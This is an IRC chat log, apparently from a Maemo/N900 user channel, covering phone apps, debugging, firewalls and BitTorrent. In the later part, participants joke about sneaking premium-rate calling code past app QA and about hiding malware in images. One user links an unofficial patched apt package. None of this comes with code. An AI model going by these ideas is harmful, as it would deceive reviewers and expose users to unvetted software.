shortcut May 08 17:58:35 and LED notification i'm not sure.. sometimes when you're just pulling the phone out of your pocket and unlocking it the only way i know i have something is through that small blurred icon May 08 17:59:18 omar: you mean the top left icon? May 08 17:59:31 yeah May 08 17:59:46 perhaps that is just your theme? in mine, it's pretty obvious May 08 18:00:03 is it possible to assign different tones to different contact? May 08 18:00:20 i'm using the Matrix theme (which is mostly like the default by with blue things changed to green) May 08 18:00:28 i mean it's obvious it's blurred but that's the only place i can see i have an sms :) May 08 18:01:08 lcuk, GDesk is basically a launcher :) May 08 18:01:08 and the icon in the top left goes white instead of green and gets a flare May 08 18:01:21 ah i'm using marina theme May 08 18:01:59 * MohammadAG misses his N97's form factor May 08 18:02:01 okay i'll look at more widgets... now what'st he command to monitor current network usage? i have personal data monitor but want something that shows me my down/upload speeds like conky May 08 18:02:27 i'm assuming there's a command to do this but i dunno what it is May 08 18:02:40 talking of usage monitors, anybody know of one which tracks how many minutes of phone call you've made? May 08 18:02:59 i know you can get it from the interface somehow, but a desktop version that reset automatically each month would be shiny May 08 18:03:38 might have to learn how to program these things ourselves :P May 08 18:04:45 omar: there is an app to display missed calls and SMS in the status area May 08 18:04:54 there is a clone of conky May 08 18:05:01 BCMM_ what's the name? May 08 18:05:18 omar: callnotify May 08 18:05:21 omar: haven't used it May 08 18:05:37 omar: was "Conversations Inbox Desktop Widget" the one you didn't like? May 08 18:05:40 i'll checkit out now May 08 18:05:43 yeah that one May 08 18:06:04 i had that one on for awhile and it seemed rather useless May 08 18:06:39 MohammadAG, it might be but it looks cool May 08 18:07:01 and yeah, i definitely need to learn to program for Maemo when i have some free time May 08 18:07:06 lcuk, I find it ironic that he locked his N97 in landscape mode May 08 18:07:45 oh, anybody know of a map program for maemo that lets you add points on the map? May 08 18:07:59 MohammadAG, total maemo experience lolz May 08 18:07:59 hmm I have an odd issue... can't flash the MMC fiasco image May 08 18:08:09 (not the openstreetmap editor, i mean just places you want to find again) May 08 18:08:35 Raw data transfer EP found at EP2. Raw data transfer failed: Resource temporarily unavailable May 08 18:08:46 i guess i'm just going to have to look at the maep sourcecode when i have time May 08 18:09:55 when i get unsupported media on n900 default media player for videos should i just look for codecs? May 08 18:10:36 intellisyncd is used by nokia messaging? May 08 18:10:45 zlimvos: i once had that message for a video it actually could play - resolved after closing a web page that was pegging the CPU with javascript May 08 18:10:56 ymmv, might have been a one-off bug May 08 18:11:05 zlimvos: you can try playing it in mplayer May 08 18:11:09 ok good to know though thanx May 08 18:11:23 (but mplayer doesn't use hardware accelleration, so will be jerky on most hi-res stuff) May 08 18:11:26 mplayer? ill look for it May 08 18:11:32 ahaa May 08 18:11:45 * BCMM_ forgets taht not everybody is coming from a linux background May 08 18:12:07 mplayer plays nearly anything, but doesn't do hardware accell on the n900 so performance is not amazing May 08 18:12:44 i don't know about extra codecs for Media Player, but i doubt it somewhat since it basically plays what it has hardware support for May 08 18:13:11 ahh seems like the pc usb port was a tad flaky May 08 18:13:57 ruskie, it works now? May 08 18:17:26 omar, yeah May 08 18:18:09 i just added the extra codecs for the default player i didnt see before May 08 18:18:10 and now I have a PR1.1.1 wiped device... now need to start with the repartitioning again and go on from there May 08 18:18:27 btw i am looking up for vlc in n900 if that works it should be perfect May 08 18:19:26 I'll stick to mplayer ;) May 08 18:21:48 gdb doesn't seem to work in my FREMANTLE_X86 scratchbox profile, it just says invalid pointer and then segfaults (gdb) also. My code is being compiled with the -g flag. Read the page on gdb in the wiki and read elsewhere SBOX_REDIRECT_IGNORE=/usr/bin/gdb would fix it, but it didn't May 08 18:24:01 when I run gdb in gdb is says libc is segfaulting May 08 18:25:18 this is strange, just started getting this error wlan0: deauthenticating by local choice (reason=3) when my wlan worked flawlessly the past 3 days. i've changed absolutely nothing too and i'm connected to same network on this very computer May 08 18:31:53 omar, maybe https://bugs.maemo.org/show_bug.cgi?id=6416 ? May 08 18:31:55 Bug 6416: Wifi won't connect until rebooted... May 08 18:32:24 though there are a few similar issues still around May 08 18:32:45 i rebooted already, will try again May 08 18:42:36 andre__, satisfactory? :P May 08 18:42:54 about your tmo comment? yeah, definitely May 08 18:44:08 andre__, excellent May 08 18:44:21 very helpful. May 08 18:49:02 andre__, now write a reply so we cam bump it up on the New Posts list and stimulate some discussion. May 08 18:50:39 GAN900, I will reply, sure, but maybe not yet today (got to prepare some urgent gnome stuff) May 08 18:52:03 E: Handler silently failed May 08 18:52:09 what does that means May 08 18:52:38 running aptitude May 08 18:52:46 i tried to install fennec May 08 18:54:06 hmm wonder if i could do pyqt dev on my win7 machine May 08 18:56:04 frals, sure you can May 08 18:56:20 as in get it setup without spending too much time on it May 08 18:56:52 winscp + favorite editor + putty to get a console May 08 18:57:10 yeah but i meant as in run in on my machine May 08 18:57:19 :D May 08 18:57:38 my console for python is "rm [blah].pyc; py_compilefiles [blah].py; python [blah.pyc May 08 18:57:44 ahhh frals May 08 18:57:54 E: Handler silently failed May 08 18:58:12 it means you can't install via apt (thank Nokia for that) May 08 18:59:13 frals, you have a Windows 7 machine? May 08 18:59:19 (*cough* I hear this works to get rid of the apt error *cough* http://mohammadag.ucoz.com/apt_0.7.20.2maemo13-0m5_armel.deb) May 08 18:59:27 frals, you know what that means, right? May 08 18:59:33 GAN900: yes, that i enjoy gaming ;) May 08 18:59:35 he's a traitor May 08 18:59:52 if you enjoyed gaming frals you would have windows xp :p May 08 19:00:01 lol May 08 19:00:27 lcuk: had i suffered any noticeable perform loss with win7 probably May 08 19:00:29 i want an app for maemo May 08 19:00:34 running on my desktop May 08 19:00:37 to do sms conversations May 08 19:01:08 i had one for my o2 ice phone May 08 19:01:13 http://arstechnica.com/microsoft/news/2010/01/microsoft-legal-unfazed-by-ubuntu-windows-xp-gui-clone.ars May 08 19:01:24 convo reminded me of that ^ May 08 19:01:47 mmmm "These binary installers for Windows contain everything needed for PyQt development except for Python itself. " May 08 19:01:50 * frals likes May 08 19:02:14 frals, psh May 08 19:02:28 frals, means we have to take your maemo.org account away. :P May 08 19:02:39 GAN900: ^_^ May 08 19:02:44 frals, get the StarCraft II beta yet? ;) May 08 19:03:14 nah i gave away my key to someone who had time to play it :< May 08 19:03:29 * frals curses fmms May 08 19:03:49 (no, not really, all time spent on fmms has payed off ;)) May 08 19:05:19 You are now a millionaire? May 08 19:06:01 bah! :P May 08 19:07:33 Ha May 08 19:17:48 GAN900: have you tried SC2 on mac? May 08 19:18:17 there's still no other term than X Terminal for the n900 right? after the exams I'll look into porting urxvt May 08 19:18:35 crashanddie, yeah May 08 19:18:39 crashanddie, works fine May 08 19:19:12 GAN900: no surprise there, just good to see a good game getting native support on mac though May 08 19:19:13 although a combination of sucky Blizzard code and sucky Apple graphics drivers makes it a touch slower than the Windows version. May 08 19:19:17 Indeed May 08 19:19:26 Steam and Source, too. May 08 19:19:33 aye May 08 19:19:46 especially good to see people moving away from directx May 08 19:19:48 Mac gaming may be on the rebound after the Intel change rang its death knell. May 08 19:19:54 Indeed May 08 19:20:34 what intel change? what death knell? May 08 19:21:31 Hey, anyone running iTunes on linux? If yes, what version works best? Any special wine settings? May 08 19:21:51 Tuukka: apart from the offtopic, why do you want to? May 08 19:21:53 Tuukka: itunes??? D: May 08 19:22:06 completly random join and question? May 08 19:22:10 nice, pyqt was as easy to install and get started with as i was hoping it be \o/ May 08 19:22:19 http://appdb.winehq.org/objectManager.php?sClass=application&iId=1347 tukka May 08 19:22:39 the n900 accepts music like a normal mass storage device; you don't need itunes to put music on it May 08 19:22:45 Well if there's better alternatives for syncing Ipods give me a shout May 08 19:22:50 (and AFAIK people only use itunes because it works with ipods) May 08 19:22:56 Tuukka: amarok May 08 19:23:00 there are alternatives to ipod stuff May 08 19:23:14 not talking about maemo -.- Ubuntu May 08 19:23:21 frals: I hope your python code will be cross platform? :> May 08 19:23:42 Tuukka: and why do you think it will interact nicely with an ipod in wine anyway? itunes installs a bunch of weird windows services and possibly drivers May 08 19:23:47 the teststuff im doing now better be lol :D May 08 19:23:53 Tuukka: gtkpod, amarok, rythmbox... they all do ipod tranfers May 08 19:24:02 Tuukka: make sure to use Alsa, itunes 7.2 worked fine, don't know about the new versions May 08 19:24:06 it's only really windows which requires you to use itunes May 08 19:24:26 Shapeshifter, PPC to x86 May 08 19:24:41 Allright, i'll try one of those you sugested, thanks May 08 19:25:01 Tuukka: rhythmbox ships with ubuntu btw May 08 19:25:18 GAN900: ah. hows that related to directx? May 08 19:25:22 Shapeshifter, so ipods should work out of the box? May 08 19:25:31 just plug it in? May 08 19:25:35 Shapeshifter, it's not, really. May 08 19:25:38 Tuukka: indeed! May 08 19:25:58 Shapeshifter, in that case gotta try it right away May 08 19:26:04 :) May 08 19:29:09 Tuukka: use VirtualBox. May 08 19:31:17 Thanks for all the suggestion, gotta test them all and see which one works best for me. May 08 19:36:32 frals, weird bug May 08 19:37:30 the n900's infrared thing can recieve as well as transmit, right? May 08 19:37:48 GAN900: ? May 08 19:37:57 It messed up my APN settings when it crashed during receiving May 08 19:38:14 o_O May 08 19:38:15 wuth messed up MMS settings. May 08 19:38:36 could you file a bug and attach fmms.log? May 08 19:38:58 seems to be something fishy going on with my apn workaround stuff but not had time to investigate it yet May 08 19:39:17 BCMM_: no, only send, not receive May 08 19:39:25 oh May 08 19:39:27 certain? May 08 19:39:31 yeah May 08 19:39:35 made the same mistake some time ago May 08 19:40:03 aww May 08 19:40:05 ping Stskeeps & DocScrutinizer51: IR is only transmission, correct? May 08 19:40:19 afaik May 08 19:40:21 but i'm not sure May 08 19:40:25 got a TV remote with a couple of buttons that do nothing in less you get a DVD player from the same company May 08 19:40:25 crashanddie: yep May 08 19:40:33 Btw, should i get a firewall or some antivirus for ubuntu. Or am i safe without using one? May 08 19:40:34 wanted to control media player with them May 08 19:40:55 perhaps i just need a longer AV cable so the n900 can be the remote May 08 19:44:32 Tuukka: a software 'firewall' is basicaly to protect you from insecure programs that have open ports to the 'net May 08 19:44:51 Tuukka: on linux, the general solution is just to not install such things (on windows they come with the OS) May 08 19:45:00 Tuukka: but do you know what channel this is? May 08 19:45:24 crashanddie: it's a simple IR-LED switched on and off by a GPIO of SoC. It happens this particular GPIO can be set so it's controlled by a counter/devider to create certain frequencies without the CPU spinning loops like mad May 08 19:45:31 Tuukka: maemo is a somewhat specialised Linux distro that runs on phones - #ubuntu or ##linux will give you much more useful information May 08 19:46:06 BCMM_: you're an idiot May 08 19:46:10 wtf May 08 19:46:10 BCMM, yeah i know it's for maemo, but maemo= linux => Lot's of people who are using linux and are eager to help = (Y) May 08 19:46:27 crashanddie: why? May 08 19:46:31 I stand behind crashanddie's comment. May 08 19:46:48 < BCMM_> Tuukka: on linux, the general solution is just to not install such things (on windows they come with the OS) May 08 19:46:53 [citation needed] May 08 19:46:56 crashanddie: SMB May 08 19:47:10 eh? May 08 19:47:29 crashanddie: basically, a typical linux distro doesn't have open ports out of the box May 08 19:47:39 BCMM_: Hardly. May 08 19:47:40 iptables is very useful if you've installed server packages May 08 19:47:40 oh, it doesn't, doesn't it? May 08 19:47:56 BCMM_: go install Ubuntu and netstat -ln yourself. May 08 19:48:25 well, on a desktop one, ssh is probably not install and x will be started with -nolisten tcp May 08 19:48:27 BCMM_: All generalising statements are evil, including this one May 08 19:48:49 crashanddie: fair enough May 08 19:48:49 so please, use them with parsimony, especially when you're giving information May 08 19:49:10 fair enough, i forgot cupsd May 08 19:49:26 BCMM_: There are still numerous daemons that run, unbound to the loopback. May 08 19:49:29 but every distro i've seen comes with cupsd set to ignore connections not from localhost, by default May 08 19:49:50 BTW, Windows, since XP SP1 (or was it SP2?) comes with a software firewall, which is more than most linux distributions can boast. May 08 19:49:51 well, i just scanned my own machine and found ssh and cups May 08 19:50:06 crashanddie: most distros come with iptables May 08 19:50:10 BCMM_: Saying that Windows "ships" with insecure 'applications' and Linux doesn't, is a stupid falsehood. May 08 19:50:27 and most distros come with no rules enabled, because they don't have open ports (from outside) by default May 08 19:50:43 BCMM_: not setup, and iptables is notoriously difficult to setup for noob users May 08 19:50:48 sure, it was an excessively dumbed-down answer May 08 19:50:58 No, it was a dumb answer. May 08 19:51:09 anyway, let's move on May 08 19:51:13 crashanddie: yes, but it's not really necessary unless you're intentionally installing servers applications May 08 19:51:21 in which case you probably need to know what you're doing to start with May 08 19:51:45 Do you guys like chicken on your salad? May 08 19:51:46 software firewalls on a desktop OS are a tacked-on security system May 08 19:51:50 i will shut up now May 08 19:52:02 not really, the most important thing for desktop computers are outbound firewalls rather than inbound May 08 19:52:25 depends on the system May 08 19:52:29 indeed May 08 19:52:42 some machines are directly on the net without a router May 08 19:52:43 +1 May 08 19:52:44 Id concur with a well know proprietary system May 08 19:52:53 BAAAAAAAAAAAAAAAAAAAAAAAH, i hate bugs May 08 19:52:54 others have a nice solid hardware wall between them May 08 19:53:19 lcuk: indeed, however it's becoming more of an exception than a rule. What was the name of the worm that restarted everyone's XP computer? Blaster? May 08 19:53:37 i think that was windows millenium May 08 19:53:49 nha, it definitely was vanilla XP installs too May 08 19:54:07 it was XP also. May 08 19:54:14 It was an issue with DCOM RPC May 08 19:54:17 aye May 08 19:54:29 yeah the open by default port May 08 19:54:36 attacks such as these have definitely reduced in strength and scale due to ISPs offering routers to most customers by default May 08 19:54:45 and RPC is still ridiculously vulnerable. May 08 19:55:10 Inbound attacks have reduced, as if from a user to a direct target. May 08 19:55:21 Now it's through a different medium. May 08 19:55:46 They are being targetted through the browser. May 08 19:55:59 which is why outbound firewalls are more interesting (not that inbound firewalls ought to be disregarded, considering the number of open wifi networks we connect to) May 08 19:56:08 Absolutely. May 08 19:56:24 Outbound would block payload listeners. May 08 19:56:52 I use little snitch on my mac, and the sheer number of connections going out for trivial applications is sometimes just frightening May 08 19:57:19 mac.... May 08 19:57:39 it's also quite interesting to see that sometimes specific malwave is being served from non-default ports May 08 19:58:20 uh May 08 19:58:26 You expect malware to use a defined port? May 08 19:59:31 well, I'm guessing 80 and 443 would be most open in firewall rules May 08 19:59:43 serving from anything else lessens their corporate/government impact May 08 19:59:45 don't forget malware living on routers natively ;-P May 08 20:00:23 DocScrutinizer: that's why I only use DD-WRT or Tomato. May 08 20:00:40 or run a dumb switch and a dedicated box with pfSense May 08 20:00:51 iirc, malware running natively in a (fancy) network card has been demonstrated May 08 20:01:07 BCMM: oh yeah, more than once May 08 20:01:23 is it in the wild? May 08 20:01:42 or still just a curiousity? May 08 20:01:42 BCMM: I remember an exploit where a lucent switch would serve specific html replies when a keyword was in the URL May 08 20:02:04 well, I'm guessing if the firmware hasn't been patched, it still could May 08 20:02:15 but never heard of a wide scale attack May 08 20:02:23 There was a talk at CanSecWest May 08 20:03:01 Only showed one specific card from a single manuf. May 08 20:03:29 LinuxCode: no slamming, please May 08 20:03:42 crashanddie, was I slamming ? May 08 20:03:53 21:57 < LinuxCode> mac.... May 08 20:03:54 mac is another proprietary system May 08 20:03:55 :) May 08 20:04:08 so? May 08 20:04:15 see what I said earlier May 08 20:04:19 I wouldn't really call Mac a full blown proprietary system. May 08 20:04:19 Hi May 08 20:04:40 SimonLR, Id like the kernel source then please May 08 20:04:46 ta May 08 20:04:47 I wouldn't use one if you paid me, but still. May 08 20:05:09 LinuxCode: Not having access to kernel source doesn't mean it's completely proprietary May 08 20:05:28 I dislike Apple more than the average guy, but I can still be logical. May 08 20:05:30 LinuxCode: can you PM me what you said? I wasn't in the room apparently May 08 20:05:34 LinuxCode: the kernel is unix, you can get that everywhere, just not the code for apples implementation May 08 20:05:52 valdyn, ok, so no source May 08 20:05:58 thanks for clarifying May 08 20:06:03 crashanddie, nevermind mate May 08 20:06:10 pretty pointless anyway May 08 20:06:12 ;-} May 08 20:06:27 * LinuxCode needs to get back to work May 08 20:26:48 im starting to understand why devs are annoyed by the 10d quarantine to promote to extras May 08 20:28:42 eager for the fmms promotion? May 08 20:30:02 frals, are you the fmms dev? May 08 20:30:35 it may be annoying but it's kind of understandable as too quick promotion would in some cases lead to possibly serious problems in certain nw conditions May 08 20:30:59 local apps are of course different story May 08 20:33:30 nw? May 08 20:34:19 frals - you think 10 days is bad May 08 20:35:00 extras aims to be for rock solid reliable apps May 08 20:35:23 anyone played with gdigicam-camerabin.conf? May 08 20:35:45 never ever heard of May 08 20:36:12 Wondering if the 'element' option can take parameters. May 08 20:39:46 DocScrutinizer, network May 08 20:41:01 nw condition dependent sw tends to break when switched to other environment :| May 08 20:42:11 Surfa: why do you think local apps are any less prone to severe problems. For PDA alike devices preserving user data is absolute priority #1 - local apps can mess up your data as well May 08 20:43:11 DocScrutinizer, that wasn't the point.. point was that they work in more stable environment and thus they are more easy to test May 08 20:43:17 or imagine fmms going apeshit and sending 10 mms / sec May 08 20:43:31 that's correct May 08 20:43:33 :-) May 08 20:44:41 to me 10days testing for networking sw is pretty damn short time :) May 08 20:45:10 Or even frals going apeshit, and deciding to be evil. May 08 20:45:30 However - unless someone is actually reading the source - a 10 day timer would do that May 08 20:45:31 what basically results in same May 08 20:45:59 Unlike 4chan, we are his personal army. May 08 20:50:36 * DocScrutinizer wonders how hard it would be to tweak a 'if leftstr(nr, 4) == "0900"" into a "(long)nr = (long)"0900"", by e.g manipulating a pointer/stackaddr May 08 20:55:51 DocScrutinizer: you can't cast a char array into a long! May 08 20:55:58 though probably not even maemo QA would notice an oopsie like a "=" instead of a "==" May 08 20:56:01 well, you *can*, but it has no valid use May 08 20:56:36 luke-jr: yes, I guess I'm terribly wrong on that. I know my C foo is rather old and stained May 08 20:56:41 luke-jr: you can May 08 20:56:57 luke-jr: if you know what's going to happen May 08 20:56:58 also, while '=' and '==' are similar in ASCII, they're completely different concepts low-level May 08 20:57:04 jacekowski: which you don't. May 08 20:57:15 well, i know what's going to happen May 08 20:57:20 in most cases it's undesirable May 08 20:57:22 but May 08 20:57:23 luke-jr: sure, that's the art May 08 20:57:24 shouldn't you get the pointer to the array?: May 08 20:57:27 you'll get a truncated pointer to an arbitrary constant location May 08 20:57:56 and no guarantee it's truncated, either May 08 20:58:04 afaik it won't be truncated May 08 20:58:17 could be May 08 20:58:19 trucation depends on the platform May 08 20:58:21 can only assume will be May 08 20:58:22 on most of platforms May 08 20:58:24 im getting the bluetooth.btcommon.BluetoothError: (22, 'Invalid argument') error with wiicontrol. there seems to be a thread but no resolution May 08 20:58:34 unless you assume it could be truncated, you're writing invalid C May 08 20:58:50 luke-jr, s/invalid/platform specific/ May 08 20:58:57 C isn't platform specific May 08 20:59:08 that's no real issue - the purpose IS to write invalid C May 08 20:59:16 platform independence is the *point* of programming languages May 08 20:59:29 emm May 08 20:59:31 that's bs May 08 20:59:43 C is arch dependent when it comes to side effects. May 08 21:00:10 arch independent programming languages don't exist May 08 21:00:12 DocScrutinizer: you mean undefined behaviour, which isn't valid May 08 21:00:19 obviously an exploit written for LE platforms won't work on BE May 08 21:01:29 DocScrutinizer: it should if you do it right ;) May 08 21:01:42 luke-jr: I mean writing 'buggy' code which results in exactly the nasty behaviour I actually intended May 08 21:01:52 anyone use wii control? May 08 21:02:31 luke-jr: correct code should, yes. An EXPLOIT though is highly arch dependent May 08 21:02:57 DocScrutinizer: if the exploit is written (even partially) in bytecode, then yes May 08 21:03:22 if it's 100% correct C, it shouldn't care what the CPU is, at least May 08 21:03:29 unless it's trying to exploit the CPU :P May 08 21:04:16 * DocScrutinizer thinks about really simple things, like 'accidentally' storing address of a .bmp to a callback procedure May 08 21:04:42 easily done by stack-off-by-one May 08 21:04:55 luke-jr, the problem with cross platform c code is that you would require libraries and those are the place it fails May 08 21:05:06 heh May 08 21:05:10 exactly :-) May 08 21:05:29 lcuk: libraries will work on any architecture with a recompile, unless those libraries are buggy ;) May 08 21:05:43 and C doesn't *require* libraries May 08 21:05:50 so your exploit now needs to carry around recompiled libraries for every OS it targets May 08 21:06:13 making its footprint rather prohibative May 08 21:06:38 ... May 08 21:06:48 luke-jr, try doing even something simple in pure c May 08 21:06:50 lcuk: here it's just frals who wants to get past the QA with his 0900-calling fmms :-P May 08 21:06:52 just read a file May 08 21:06:56 write a line to console May 08 21:07:02 lcuk: writing to console needs no lib May 08 21:07:07 so it's just two target platforms May 08 21:07:15 luke-jr, go on.. May 08 21:07:18 this will be fun May 08 21:07:51 lcuk: no problem you can do the sys-call direct May 08 21:07:56 #include int main() { puts("hello world"); } May 08 21:08:05 johnsq: syscalls aren't C May 08 21:08:08 puts is platform specific May 08 21:08:19 lcuk: nope May 08 21:08:24 puts is C89 May 08 21:08:55 you easily can put some malware into a few 100 pixels of 'snow' in a .bmp or .gif May 08 21:09:31 but getting the thing to run without segfaults on x86 AND arm May 08 21:09:35 ... hard May 08 21:09:41 luke-jr, each platform has different mechanisms for performing stdio - different addresses and ways of doing it May 08 21:10:42 lcuk: irrelevant. puts is a platform-independent abstraction May 08 21:10:55 stdio is platform specific May 08 21:11:00 no May 08 21:11:03 stdio is part of C May 08 21:11:11 so what? May 08 21:11:17 * lcuk facepalms May 08 21:11:29 so any compliant C implementation has it May 08 21:11:30 it has different code inside, though the ABI is identical May 08 21:11:50 luke-jr, the clibrary requires compiling and linking with your app May 08 21:12:07 so you need to carry around a library for each arch May 08 21:12:17 or you just recompile May 08 21:12:23 * lcuk facepalms May 08 21:12:25 lol May 08 21:13:01 frals: $4.99 / mms ? ;-P May 08 21:13:16 http://wiki.openstreetmap.org/wiki/Accuracy#Georectification does this look sane May 08 21:13:17 DocScrutinizer: ^_^ May 08 21:13:18 oops - sorry May 08 21:16:48 frals: no offense or anything intended - just pondering about use and nonsense of a 10 day quarantine May 08 21:17:36 DocScrutinizer: none taken :) May 08 21:18:16 10d quarantine is fine i guess but would be nice to have testers who can cut it down after testing it May 08 21:18:36 Supertesters! May 08 21:18:41 Who actually have a clue May 08 21:18:54 profile the app in various conditions. May 08 21:19:06 Test it at least basically May 08 21:19:13 find obvious blockers May 08 21:19:31 set system date to arbitrary points into the future May 08 21:20:41 An annoying issue I saw with the current scheme was lots of people - apparantly for karma reasons - going over the list of packages for bugtracker links, and voting them down - even when there was already a downvote for that May 08 21:21:10 fsckers May 08 21:21:29 Also, even when there was a bugtracker for the package, like mine. May 08 21:21:39 This is one of the reasons I gave up packaging things. May 08 21:21:46 A per-package forum would be very nice May 08 21:21:56 * DocScrutinizer remarks it seems not helpful for karma to contribute to tmo :-P May 08 21:22:03 Because it turns out I don't care enough to put up with bullshit like that. May 08 21:22:08 SpeedEvil: dont garage have that? May 08 21:22:14 A email address as a bugtracker can seem very blackhole May 08 21:22:52 Not having one unified way to find an apps homepage, interact with other users is somewhat broken May 08 21:23:03 though my karma actually is >0, which is a surprise to me May 08 21:24:23 karma( DocScrutinizer)--; May 08 21:24:34 Modest: Let's put the signature ABOVE the quoted text! May 08 21:24:36 huh? May 08 21:24:39 GENIUS!!!! May 08 21:24:56 oooh sweet May 08 21:25:48 It's funny when I forget to drop my council sig from personal emails. May 08 21:29:14 SpeedEvil: how did you manage to open that CA-146A ? May 08 21:29:58 isn't it glued/welded? May 08 21:31:22 SpeedEvil: or is there a special trick? May 08 21:31:29 or hidden screw May 08 21:39:05 Probably broke it. May 08 21:40:53 Evening.. May 08 21:44:16 Anyone know why im unable to set permissions on any file, no matter how much i chmod. May 08 21:44:53 i also cant chown a file to user, it says unknow user 'user' May 08 21:45:39 well, most of the device is actually FAT32 May 08 21:45:45 New user to Nokia N900s etc.. May 08 21:45:45 it depends on where the file is May 08 21:45:57 and FAT32 doesnt support permissions May 08 21:46:05 I was thinking of getting Evopedia up and running... May 08 21:46:09 though not sure that's really related to your error message May 08 21:46:12 ah May 08 21:46:23 ... but everywhere I look it talks about using BitTorrent to get a dataset.. May 08 21:46:24 well, anything in /home/user/ is FAT32 so no permissions May 08 21:46:56 rm_you oh wasnt aware it was fat32, so no way of making a script executable? May 08 21:46:59 .. with the passage of the Digital Economy Bill - I am simply too scared to EVER use BitTorrent - I have never done so before May 08 21:47:09 not in /home/user i believe May 08 21:47:31 unless you mount another folder there that IS on ext2/3 May 08 21:47:44 alexcockell: the libdems oppose it with a passion so hopefully it gets overturned May 08 21:47:44 Does anyone know if there is anywhere where I could buy a copy of a Wikipedia dump from legally? May 08 21:48:09 * PerfDave uses BitTorrent to download legal content May 08 21:48:37 ummm May 08 21:48:38 I thought BitTorrent and all p2p software was illegal? May 08 21:48:40 Sorry, bad phrasing, I use it to download content without violating that content's copyright holder's rights. May 08 21:48:43 Wikipedia dumps are free/legal May 08 21:48:50 alexcockell: Uhm, not at all. May 08 21:48:53 you've been lied to May 08 21:48:57 Yeah - but my ISP frowns on p2p.. May 08 21:49:01 by the RIAA and corporate america May 08 21:49:10 BitTorrent is software. It's a way of transferring files. Some file transfers go against copyright laws, others don't. May 08 21:49:16 you can tell your ISP to *suck it* May 08 21:49:26 if more people did that, the world would be a better place May 08 21:49:41 Using BitTorrent to download Debian GNU/Linux is fine; using it to download most films isn't. May 08 21:49:44 what THEY'RE doing to restrict torrent bandwidth is illegal May 08 21:49:56 alexcockell: do you pay your ISP? May 08 21:50:09 rm_you: Illegal how? If it's in the contract you agree with your ISP, then I don't see how it can be illegal. May 08 21:50:27 Hmm - funny about that - I've *bought* the last two installs of Ubuntu - I buy my machies from linux Emporium May 08 21:50:31 *machines May 08 21:50:35 alexcockell: do you pay your ISP? May 08 21:50:38 Yes May 08 21:50:40 for what? May 08 21:50:47 Connectivity May 08 21:50:52 to? May 08 21:50:53 19 quid a month May 08 21:51:00 the Net.. May 08 21:51:01 * PerfDave tends to buy Debian distros once the pressed DVDs become available from places that donate to the project. May 08 21:51:11 alexcockell: what is the Net? May 08 21:51:23 All the services out there... May 08 21:51:28 wrong May 08 21:51:36 the Internet is a *peer-to-peer* computer network May 08 21:51:39 BBC, Youtube, here... Ship Of FOols.. other sites I go to May 08 21:51:42 luke-jr: Nobody can tell you what the net is. You have to experience it for yourself. May 08 21:51:51 Oh wait, that was the Matrix. May 08 21:51:55 hrhr May 08 21:52:03 alexcockell: BBC, Youtube, etc are just other peers May 08 21:52:04 We7 (paid subscrtiption) May 08 21:52:08 you are no less a peer than they are May 08 21:52:28 they just happen to pay for a bigger pipe May 08 21:52:29 go look up net neutrality May 08 21:52:39 or comcast being sued for bandwidth limits on torrents May 08 21:52:42 alexcockell: *everything* on the internet is p2p May 08 21:52:53 rm_you: Comcast won May 08 21:53:10 no they didnt? what? May 08 21:53:25 rm_you: yes, Comcast won vs FCC May 08 21:53:33 the court ruled FCC has no jurisdiction May 08 21:53:42 oh, not that May 08 21:53:49 that's what you're talking about... May 08 21:53:57 that was recently May 08 21:54:02 net neutrality failed to pass May 08 21:54:04 the thing im talking about was year+ ago May 08 21:54:19 now the US government is trying to pass bills making ISPs required to block illegal transfers May 08 21:54:41 Hmm - just like the DEA May 08 21:54:45 complete flip-flop May 08 21:54:51 (Digital Economy Act) May 08 21:54:53 alexcockell: in the meantime, BitTorrent is 100% legal May 08 21:55:22 I used bittorrent to download some slackware CDs a couple of weeks ago. May 08 21:55:42 the day you cannot use BitTorrent is the day you no longer have Internet May 08 21:55:46 But I was under the impression according to The Register that all BitTorrent activity was being monitored.. May 08 21:55:56 alexcockell: maybe it is May 08 21:56:00 irrelevant, since it's legal May 08 21:56:02 I've never used BitTorrent May 08 21:56:05 Even if that were true, alexcockell, that doesn't make it illegal necessarily :) May 08 21:56:21 alexcockell: It is - mostly - trivial - to snoop on all p2p protocols - even as a user May 08 21:56:22 All I've ever heard is how unsafe it is.. May 08 21:56:30 alexcockell: Unsafe how? May 08 21:56:30 luke-jr: well, bittorent isn't illegal May 08 21:56:38 jacekowski: my point exactly May 08 21:56:38 luke-jr: bit 99% trafic in bt network is May 08 21:56:54 Or rather - snoop as in the sense of finding who's getting what May 08 21:56:55 alexcockell: BitTorrent is very safe; more than anything else really May 08 21:57:08 jacekowski: I question the 99% figure May 08 21:57:15 jacekowski: I think you just made that up on the spot May 08 21:57:21 Yeah, it's more like 90% IIRC May 08 21:57:39 on my server it's closer to 100% May 08 21:57:43 ... May 08 21:58:02 but we all agree that most of bittorent traffic is illegal May 08 21:58:04 same thing about TOR May 08 21:58:10 alexcockell: BitTorrent is just a protocol, like HTTP (web browsers use this), SMTP (email), or XMPP (IM) May 08 21:58:14 i was hosting exit node for some time May 08 21:58:18 alexcockell: what matters is what you use it for May 08 21:58:20 but amount of shit people do with it May 08 21:58:31 Yeah I suppose so.. May 08 21:58:43 child porn, porn, downloading from rapidshare and similiar sites May 08 21:58:45 the only thing 'unsafe' about BitTorrent is that it is not anonymous May 08 21:58:46 trolling May 08 21:58:48 but it wasn't designed to be May 08 21:58:54 Haven't even uploaded anything to Youtube - May 08 21:58:57 nor is most any other internet protocol anonymous May 08 21:59:05 i mean, if anything has potential to be abused May 08 21:59:06 WATCHED loads.. May 08 21:59:07 it will be May 08 21:59:22 There are some exceptions. May 08 21:59:26 at least BitTorrent is often encryption ;) May 08 21:59:28 It does depend on what you mean by "safe", of course. If you get your .torrent file from a dodgy source, you might be downloading trojanned software or something. May 08 21:59:30 4chan for example - everyone there is over 18. May 08 21:59:37 email is almost *always* easy for *anyone* to spy on May 08 21:59:44 Bought my last large batch of DVDs from clips watched on 'Tube May 08 22:00:11 luke-jr: only ISPs and governments really May 08 22:00:12 I know that about email - used to administer Lotus Notes at work May 08 22:00:22 alexcockell: Scrotes? You poor bastard ;) May 08 22:00:28 luke-jr: Or people with the smarts to decode DSL. (or perform MITM on it) May 08 22:00:57 A software DSL modem would be cool May 08 22:01:09 Nah - watched a couple of episodes of Howards Way on 'Tube.. remembered hjow good it was.. bought the box set May 08 22:01:50 SpeedEvil: is DSL easy to snoop too? May 08 22:01:55 Cable is *very* easy to snoop May 08 22:02:14 fairly simple to snoop other servers in the same room as your dedi as well May 08 22:02:53 nobody is safe May 08 22:02:59 Cable basically puts your modem on a switch with about 1000 other 